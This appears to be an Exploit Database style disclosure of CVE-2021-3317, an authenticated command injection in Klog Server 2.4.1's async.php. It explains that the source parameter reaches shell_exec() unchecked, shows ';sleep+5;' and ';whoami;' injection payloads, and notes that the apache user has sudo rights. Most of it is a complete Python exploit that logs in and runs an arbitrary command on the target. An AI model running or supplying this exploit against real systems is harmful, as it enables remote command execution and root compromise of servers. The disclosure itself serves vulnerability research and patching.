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KLOG Server (Authenticated) Command Injection (CVE-2021-3317)
Klog Server 2.4.1 - Command Injection (Authenticated)
Detection
I have detected a authenticated command injection vulnerability in the Klog Server <=2.4.1 .
async.php file includes that source parameter is executed via shell_exec() function without input validation.
As you can see above image, if
action parameter is set as stream , command injection could be possible due to source parameter is executed by shell_exec() function through command variable.To validate this vulnerability , sleep command is used. For
;sleep+5; command , the server stays 5 seconds or so. 
When
;whoami; command is executed , the output indicates privileges as apache user . However , apache user is a member of sudo group so that we can execute commad with root privileges.
Exploitation
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import argparse
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import requests
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import sys
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import urllib3
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from argparse import ArgumentParser, Namespace
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​
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​
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def main():
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dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)"
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parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
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parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True)
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parser.add_argument("--username", help="Username", type=str, required=True)
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parser.add_argument("--password", help="Password", type=str, required=True)
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parser.add_argument("--command", help="Command", type=str, required=True)
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args: Namespace = parser.parse_args()
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if args.target:
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target = args.target
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if args.username:
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username = args.username
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if args.password:
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password = args.password
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if args.command:
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command = args.command
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​
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exploit(target, username, password, command)
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​
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​
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def exploit(target, username, password, command):
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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s = requests.Session()
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
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"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
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"Accept-Language": "en-US,en;q=0.5",
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"Accept-Encoding": "gzip, deflate",
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"Content-Type": "application/x-www-form-urlencoded",
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"Connection": "close",
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"Upgrade-Insecure-Requests": "1",
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}
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data = {"user" : username, "pswd" : password}
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​
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login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False)
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print("[*] Status Code for login request: " + str(login.status_code))
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​
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if login.status_code == 302:
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check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False)
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if check.status_code == 200:
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print("[+] Authentication was successful!")
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else:
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print("[-] Authentication was unsuccessful!")
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sys.exit(1)
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else:
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print("Something went wrong!")
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sys.exit(1)
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print("[*] Exploiting...\n")
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​
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executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False)
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print(executeCommand.text)
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sys.exit(0)
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​
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if __name__ == '__main__':
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main()
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​
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Klog Server 2.4.1 - Command Injection (Authenticated)
Exploit Database
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